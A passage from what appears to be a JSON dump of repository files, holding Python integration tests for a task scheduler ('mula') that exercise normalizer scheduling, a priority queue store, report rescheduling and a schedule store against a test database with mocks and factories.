a message is received we can not\n        determine that other message will be handled correctly or not. We want\n        to make sure that exceptions are logged and the listener continues to\n        run.\n        \"\"\"\n\n        def test_func(body):\n            raise Exception(\"Test Exception\")\n\n        stop_event = threading.Event()\n\n        listener_ = listener.MockRabbitMQ(dsn=self.DSN, queue=\"test\", func=test_func)\n        self.listeners.append(listener_)\n\n        # Run the listener\n        thread = utils.ThreadRunner(\n            name=\"MockRabbitMQ\", target=listener_.listen, stop_event=stop_event, interval=0.01, daemon=False, loop=False\n        )\n        thread.start()\n\n        # Make sure the listener is running\n        self.assertTrue(thread.is_alive())\n\n        # Act: send a message\n        connection = pika.BlockingConnection(pika.URLParameters(self.DSN))\n        channel = connection.channel()\n        channel.queue_declare(queue=\"test\", durable=True)\n        channel.basic_publish(exchange=\"\", routing_key=\"test\", body=\"Test Message\")\n        channel.stop_consuming()\n        channel.close()\n        connection.close()\n\n        max_wait = 5\n        while thread.is_alive() and max_wait > 0:\n            time.sleep(1)\n            max_wait -= 1\n\n        for thread in threading.enumerate():\n            if thread is threading.main_thread():\n                continue\n\n            self.assertTrue(thread.is_alive())\n"
  },
  {
    "path": "mula/tests/integration/test_normalizer_scheduler.py",
    "content": "import datetime\nimport unittest\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, schedulers, storage\nfrom scheduler.storage import stores\nfrom structlog.testing import capture_logs\n\nfrom tests.factories import (\n    BoefjeFactory,\n    BoefjeMetaFactory,\n    NormalizerFactory,\n    OOIFactory,\n    OrganisationFactory,\n    PluginFactory,\n    RawDataFactory,\n    ScanProfileFactory,\n)\nfrom tests.utils import functions\n\n\nclass NormalizerSchedulerBaseTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n            }\n        )\n\n        # Scheduler\n        self.scheduler = schedulers.NormalizerScheduler(self.mock_ctx)\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        self.scheduler.stop()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n\nclass NormalizerSchedulerTestCase(NormalizerSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_latest_task_by_hash = mock.patch(\n            \"scheduler.context.AppContext.datastores.task_store.get_latest_task_by_hash\"\n        ).start()\n\n        self.mock_get_plugin = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_plugin_by_id_and_org_id\"\n        ).start()\n\n    def test_is_allowed_to_run(self):\n        # Arrange\n        plugin = PluginFactory(type=\"normalizer\", consumes=[\"text/plain\"])\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        allowed_to_run = self.scheduler.has_normalizer_permission_to_run(plugin)\n\n        # Assert\n        self.assertTrue(allowed_to_run)\n\n    def test_is_not_allowed_to_run(self):\n        # Arrange\n        plugin = PluginFactory(type=\"normalizer\", consumes=[\"text/plain\"])\n        plugin.enabled = False\n\n        # Mocks\n        self.mock_get_plugin.return_value = plugin\n\n        # Act\n        allowed_to_run = self.scheduler.has_normalizer_permission_to_run(plugin)\n\n        # Assert\n        self.assertFalse(allowed_to_run)\n\n\nclass RawFileReceivedTestCase(NormalizerSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_has_normalizer_task_started_running = mock.patch(\n            \"scheduler.schedulers.NormalizerScheduler.has_normalizer_task_started_running\", return_value=False\n        ).start()\n\n        self.mock_has_normalizer_permission_to_run = mock.patch(\n            \"scheduler.schedulers.NormalizerScheduler.has_normalizer_permission_to_run\", return_value=True\n        ).start()\n\n        self.mock_get_normalizers_for_mime_type = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_normalizers_by_org_id_and_type\"\n        ).start()\n\n        self.mock_get_plugin = mock.patch(\n            \"scheduler.context.AppContext.services.katalogus.get_plugin_by_id_and_org_id\"\n        ).start()\n\n    def test_process_raw_data(self):\n        # Arrange\n        ooi = OOIFactory(scan_profile=ScanProfileFactory(level=0))\n        boefje = BoefjeFactory()\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        # Arrange: create the RawDataReceivedEvent\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        # Mocks\n        plugin = PluginFactory(type=\"normalizer\", consumes=[\"text/plain\"])\n        self.mock_get_normalizers_for_mime_type.return_value = [plugin]\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should be on priority queue\n        task_pq = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Task should be in datastore\n        task_db = self.mock_ctx.datastores.task_store.get_task(task_pq.id)\n        self.assertEqual(task_db.id, task_pq.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n    def test_process_raw_data_no_normalizers_found(self):\n        # Arrange\n        ooi = OOIFactory(scan_profile=ScanProfileFactory(level=0))\n        boefje = BoefjeFactory()\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_normalizers_for_mime_type.return_value = []\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_raw_data_not_allowed_to_run(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n        )\n        self.mock_ctx.datastores.task_store.create_task(task)\n\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        # Mocks\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        self.mock_get_normalizers_for_mime_type.return_value = [NormalizerFactory()]\n        self.mock_has_normalizer_permission_to_run.return_value = False\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_raw_data_still_running(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n        )\n        self.mock_ctx.datastores.task_store.create_task(task)\n\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        # Mocks\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        self.mock_get_normalizers_for_mime_type.return_value = [NormalizerFactory()]\n        self.mock_has_normalizer_permission_to_run.return_value = True\n        self.mock_has_normalizer_task_started_running.return_value = True\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_raw_data_still_running_exception(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n        )\n        self.mock_ctx.datastores.task_store.create_task(task)\n\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        # Mocks\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        self.mock_get_normalizers_for_mime_type.return_value = [NormalizerFactory()]\n        self.mock_has_normalizer_permission_to_run.return_value = True\n        self.mock_has_normalizer_task_started_running.side_effect = Exception(\"Something went wrong\")\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_raw_data_item_on_queue(self):\n        # Arrange\n        ooi = OOIFactory(scan_profile=ScanProfileFactory(level=0))\n        boefje = BoefjeFactory()\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        raw_data_event1 = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        raw_data_event2 = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        # Mocks\n        self.mock_get_normalizers_for_mime_type.return_value = [NormalizerFactory()]\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event1)\n        self.scheduler.process_raw_data(raw_data_event2)\n\n        # Task should be on priority queue (only one)\n        task_pq = self.scheduler.queue.peek(0)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Task should be in datastore, and queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(task_pq.id)\n        self.assertEqual(task_db.id, task_pq.id)\n        self.assertEqual(task_db.status, models.TaskStatus.QUEUED)\n\n    def test_process_raw_data_error_mimetype(self):\n        # Arrange\n        scan_profile = ScanProfileFactory(level=0)\n        ooi = OOIFactory(scan_profile=scan_profile)\n        boefje = BoefjeFactory()\n        boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n\n        task = functions.create_task(\n            scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n        )\n        self.mock_ctx.datastores.task_store.create_task(task)\n\n        boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n        raw_data_event = models.RawDataReceivedEvent(\n            raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"error/unknown\"}]),\n            organization=self.organisation.id,\n            created_at=datetime.datetime.now(),\n        ).model_dump_json()\n\n        # Act\n        self.scheduler.process_raw_data(raw_data_event)\n\n        # Task should not be on priority queue\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_process_raw_data_queue_full(self):\n        events = []\n        for _ in range(0, 2):\n            # Arrange\n            scan_profile = ScanProfileFactory(level=0)\n            ooi = OOIFactory(scan_profile=scan_profile)\n            boefje = BoefjeFactory()\n            boefje_task = models.BoefjeTask(boefje=boefje, input_ooi=ooi.primary_key, organization=self.organisation.id)\n            task = functions.create_task(\n                scheduler_id=self.scheduler.scheduler_id, data=boefje_task, organisation=self.organisation.id\n            )\n            self.mock_ctx.datastores.task_store.create_task(task)\n\n            boefje_meta = BoefjeMetaFactory(boefje=boefje, input_ooi=ooi.primary_key)\n\n            raw_data_event = models.RawDataReceivedEvent(\n                raw_data=RawDataFactory(boefje_meta=boefje_meta, mime_types=[{\"value\": \"text/plain\"}]),\n                organization=self.organisation.id,\n                created_at=datetime.datetime.now(),\n            ).model_dump_json()\n\n            events.append(raw_data_event)\n\n        self.scheduler.queue.maxsize = 1\n        self.scheduler.max_tries = 1\n\n        # Mocks\n        self.mock_get_normalizers_for_mime_type.return_value = [NormalizerFactory()]\n\n        # Act\n        self.scheduler.process_raw_data(events[0])\n\n        # Assert\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        with capture_logs() as cm:\n            self.scheduler.process_raw_data(events[1])\n\n        self.assertIn(\"Queue is full\", cm[-1].get(\"event\"))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n"
  },
  {
    "path": "mula/tests/integration/test_pq_store.py",
    "content": "import unittest\nimport uuid\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, storage\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\nfrom tests.utils import functions\n\n\nclass PriorityQueueStoreTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n            }\n        )\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def test_push(self):\n        # Arrange\n        item = functions.create_task(scheduler_id=uuid.uuid4().hex, organisation=self.organisation.id, priority=1)\n        item.status = models.TaskStatus.QUEUED\n        created_item = self.mock_ctx.datastores.pq_store.push(item)\n\n        item_db = self.mock_ctx.datastores.pq_store.get(scheduler_id=item.scheduler_id, item_id=item.id)\n\n        # Assert\n        self.assertIsNotNone(created_item)\n        self.assertIsNotNone(item_db)\n        self.assertEqual(item_db.id, created_item.id)\n\n    def test_push_status_not_queued(self):\n        item = functions.create_task(scheduler_id=uuid.uuid4().hex, organisation=self.organisation.id, priority=1)\n        item.status = models.TaskStatus.PENDING\n        created_item = self.mock_ctx.datastores.pq_store.push(item)\n\n        item_db = self.mock_ctx.datastores.pq_store.get(scheduler_id=item.scheduler_id, item_id=item.id)\n\n        # Assert\n        self.assertIsNotNone(created_item)\n        self.assertIsNone(item_db)\n\n    def test_pop(self):\n        # Arrange\n        item = functions.create_task(scheduler_id=uuid.uuid4().hex, organisation=self.organisation.id, priority=1)\n        item.status = models.TaskStatus.QUEUED\n        created_item = self.mock_ctx.datastores.pq_store.push(item)\n\n        popped_items = self.mock_ctx.datastores.pq_store.pop(item.scheduler_id)\n\n        # Assert\n        self.assertIsNotNone(popped_items)\n        self.assertEqual(len(popped_items), 1)\n        self.assertEqual(popped_items[0].id, created_item.id)\n\n    def test_pop_status_not_queued(self):\n        # Arrange\n        item = functions.create_task(scheduler_id=uuid.uuid4().hex, organisation=self.organisation.id, priority=1)\n        item.status = models.TaskStatus.PENDING\n        created_item = self.mock_ctx.datastores.pq_store.push(item)\n\n        popped_items = self.mock_ctx.datastores.pq_store.pop(item.scheduler_id)\n\n        # Assert\n        self.assertIsNotNone(created_item)\n        self.assertEqual(len(popped_items), 0)\n"
  },
  {
    "path": "mula/tests/integration/test_report_scheduler.py",
    "content": "import unittest\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, schedulers, storage\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\n\n\nclass ReportSchedulerBaseTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n            }\n        )\n\n        # Scheduler\n        self.scheduler = schedulers.ReportScheduler(ctx=self.mock_ctx)\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        self.scheduler.stop()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n\nclass ReportSchedulerTestCase(ReportSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_get_schedules = mock.patch(\n            \"scheduler.context.AppContext.datastores.schedule_store.get_schedules\"\n        ).start()\n\n    def tearDown(self):\n        mock.patch.stopall()\n\n    def test_process_rescheduling(self):\n        \"\"\"When the deadline of schedules have passed, the resulting task should be added to the queue\"\"\"\n        # Arrange\n        report_task = models.ReportTask(organisation_id=self.organisation.id, report_recipe_id=\"123\")\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            hash=report_task.hash,\n            data=report_task.model_dump(),\n            organisation=self.organisation.id,\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: new item should be on queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: new item is created with a similar task\n        peek = self.scheduler.queue.peek(0)\n        self.assertEqual(schedule.hash, peek.hash)\n\n        # Assert: task should be created, and should be the one that is queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(peek.id)\n        self.assertIsNotNone(task_db)\n        self.assertEqual(peek.id, task_db.id)\n\n    def test_process_rescheduling_item_on_queue(self):\n        \"\"\"When the deadline of schedules have passed, the resulting task should be added to the queue\"\"\"\n        # Arrange\n        report_task = models.ReportTask(organisation_id=self.organisation.id, report_recipe_id=\"123\")\n\n        schedule = models.Schedule(\n            scheduler_id=self.scheduler.scheduler_id,\n            hash=report_task.hash,\n            data=report_task.model_dump(),\n            organisation=self.organisation.id,\n        )\n\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Mocks\n        self.mock_get_schedules.return_value = ([schedule_db], 1)\n\n        # Act\n        self.scheduler.process_rescheduling()\n\n        # Assert: new item should be on queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Assert: new item is created with a similar task\n        peek = self.scheduler.queue.peek(0)\n        self.assertEqual(schedule.hash, peek.hash)\n\n        # Assert: task should be created, and should be the one that is queued\n        task_db = self.mock_ctx.datastores.task_store.get_task(peek.id)\n        self.assertIsNotNone(task_db)\n        self.assertEqual(peek.id, task_db.id)\n\n        # Act: push again\n        self.scheduler.process_rescheduling()\n\n        # Should only be one task on queue\n        self.assertEqual(1, self.scheduler.queue.qsize())\n"
  },
  {
    "path": "mula/tests/integration/test_schedule_store.py",
    "content": "import unittest\nfrom datetime import datetime, timezone\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import config, models, storage\nfrom scheduler.storage import filters, stores\n\nfrom tests.factories.organisation import OrganisationFactory\nfrom tests.utils import functions\n\n\nclass ScheduleStoreTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n            }\n        )\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def test_create_schedule_calculate_deadline_at(self):\n        \"\"\"When a schedule is created, the deadline_at should be calculated.\"\"\"\n        schedule = models.Schedule(\n            scheduler_id=\"test_scheduler_id\", organisation=self.organisation.id, schedule=\"* * * * *\", data={}\n        )\n\n        self.assertIsNotNone(schedule.deadline_at)\n\n    def test_create_schedule_explicit_deadline_at(self):\n        \"\"\"When a schedule is created, the deadline_at should be set if it is provided.\"\"\"\n        now = datetime.now(timezone.utc)\n        schedule = models.Schedule(\n            scheduler_id=\"test_scheduler_id\", organisation=self.organisation.id, data={}, deadline_at=now\n        )\n\n        self.assertEqual(schedule.deadline_at, now)\n\n    def test_create_schedule_deadline_at_takes_precedence(self):\n        \"\"\"When a schedule is created, the deadline_at should be set if it is provided.\"\"\"\n        now = datetime.now(timezone.utc)\n        schedule = models.Schedule(\n            scheduler_id=\"test_scheduler_id\",\n            schedule=\"* * * * *\",\n            organisation=self.organisation.id,\n            data={},\n            deadline_at=now,\n        )\n\n        self.assertEqual(schedule.deadline_at, now)\n\n    def test_create_schedule(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id, priority=1)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n\n        # Act\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Assert\n        self.assertEqual(schedule, schedule_db)\n\n    def test_get_schedules(self):\n        # Arrange\n        scheduler_one = \"test_scheduler_one\"\n        for i in range(5):\n            task = functions.create_task(scheduler_id=scheduler_one, organisation=self.organisation.id, priority=1)\n            schedule = models.Schedule(\n                scheduler_id=scheduler_one, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n            )\n            self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        scheduler_two = \"test_scheduler_two\"\n        for i in range(5):\n            task = functions.create_task(scheduler_id=scheduler_two, organisation=self.organisation.id, priority=1)\n            schedule = models.Schedule(\n                scheduler_id=scheduler_two, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n            )\n            self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        schedules_scheduler_one, schedules_scheduler_one_count = self.mock_ctx.datastores.schedule_store.get_schedules(\n            filters=storage.filters.FilterRequest(\n                filters={\"and\": [storage.filters.Filter(column=\"scheduler_id\", operator=\"eq\", value=scheduler_one)]}\n            )\n        )\n        schedules_scheduler_two, schedules_scheduler_two_count = self.mock_ctx.datastores.schedule_store.get_schedules(\n            filters=storage.filters.FilterRequest(\n                filters={\"and\": [storage.filters.Filter(column=\"scheduler_id\", operator=\"eq\", value=scheduler_two)]}\n            )\n        )\n\n        # Assert\n        self.assertEqual(5, len(schedules_scheduler_one))\n        self.assertEqual(5, schedules_scheduler_one_count)\n        self.assertEqual(5, len(schedules_scheduler_two))\n        self.assertEqual(5, schedules_scheduler_two_count)\n\n    def test_get_schedule(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id, priority=1)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Act\n        schedule_by_id = self.mock_ctx.datastores.schedule_store.get_schedule(schedule_db.id)\n\n        # Assert\n        self.assertEqual(schedule_by_id.id, schedule_db.id)\n\n    def test_get_schedule_by_hash(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        data = functions.create_test_model()\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=data.hash, data=data.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Act\n        schedule_by_hash = self.mock_ctx.datastores.schedule_store.get_schedule_by_hash(schedule_db.hash)\n\n        # Assert\n        self.assertEqual(schedule_by_hash.id, schedule_db.id)\n        self.assertEqual(schedule_by_hash.data, schedule_db.data)\n        self.assertEqual(schedule_by_hash.hash, schedule_db.hash)\n\n    def test_update_schedule(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id, priority=1)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Assert\n        self.assertEqual(schedule_db.enabled, True)\n\n        # Act\n        schedule_db.enabled = False\n        self.mock_ctx.datastores.schedule_store.update_schedule(schedule_db)\n\n        # Assert\n        schedule_db_updated = self.mock_ctx.datastores.schedule_store.get_schedule(schedule_db.id)\n        self.assertEqual(schedule_db_updated.enabled, False)\n\n    def test_delete_schedule(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id, priority=1)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        # Act\n        self.mock_ctx.datastores.schedule_store.delete_schedule(schedule_db.id)\n\n        # Assert\n        is_schedule_deleted = self.mock_ctx.datastores.schedule_store.get_schedule(schedule_db.id)\n        self.assertEqual(is_schedule_deleted, None)\n\n    def test_delete_schedule_ondelete(self):\n        \"\"\"When a schedule is deleted, its tasks should NOT be deleted.\n        The schedule_id on the tasks should be set to NULL.\n        \"\"\"\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id, priority=1)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        task.schedule_id = schedule_db.id\n        task_db = self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Assert\n        self.assertIsNotNone(self.mock_ctx.datastores.task_store.get_task(task_db.id).schedule_id)\n\n        # Act\n        self.mock_ctx.datastores.schedule_store.delete_schedule(schedule_db.id)\n\n        # Assert\n        is_schedule_deleted = self.mock_ctx.datastores.schedule_store.get_schedule(schedule_db.id)\n        self.assertEqual(is_schedule_deleted, None)\n        self.assertIsNone(self.mock_ctx.datastores.task_store.get_task(task_db.id).schedule_id)\n\n        is_task_deleted = self.mock_ctx.datastores.task_store.get_task(task_db.id)\n        self.assertIsNotNone(is_task_deleted)\n        self.assertIsNone(is_task_deleted.schedule_id)\n\n    # NOTE: skipping this test until task relationship is re-enabled, disabled\n    # it for now when we use the model relationship\n    @unittest.skip(\"Disabled until task relationship is re-enabled\")\n    def test_relationship_schedule_tasks(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        task.schedule_id = schedule_db.id\n        task_db = self.mock_ctx.datastores.task_store.create_task(task)\n\n        # Act\n        schedule_tasks = self.mock_ctx.datastores.schedule_store.get_schedule(schedule_db.id).tasks\n\n        # Assert\n        self.assertEqual(len(schedule_tasks), 1)\n        self.assertEqual(schedule_tasks[0].id, task_db.id)\n\n    def test_get_tasks_filter_related(self):\n        # Arrange\n        scheduler_id = \"test_scheduler_id\"\n        task = functions.create_task(scheduler_id=scheduler_id, organisation=self.organisation.id)\n        schedule = models.Schedule(\n            scheduler_id=scheduler_id, organisation=self.organisation.id, hash=task.hash, data=task.model_dump()\n        )\n        schedule_db = self.mock_ctx.datastores.schedule_store.create_schedule(schedule)\n\n        task.schedule_id = schedule_db.id\n        created_task = self.mock_ctx.datastores.task_store.create_task(task)\n\n        f_req = filters.FilterRequest(\n            filters={\"and\": [filters.Filter(column=\"id\", operator=\"eq\", value=created_task.id.hex)]}\n        )\n\n        tasks, count = self.mock_ctx.datastores.task_store.get_tasks(filters=f_req)\n        self.assertEqual(count, 1)\n        self.assertEqual(len(tasks), 1)\n        self.assertEqual(tasks[0].schedule_id, schedule_db.id)\n"
  },
  {
    "path": "mula/tests/integration/test_scheduler.py",
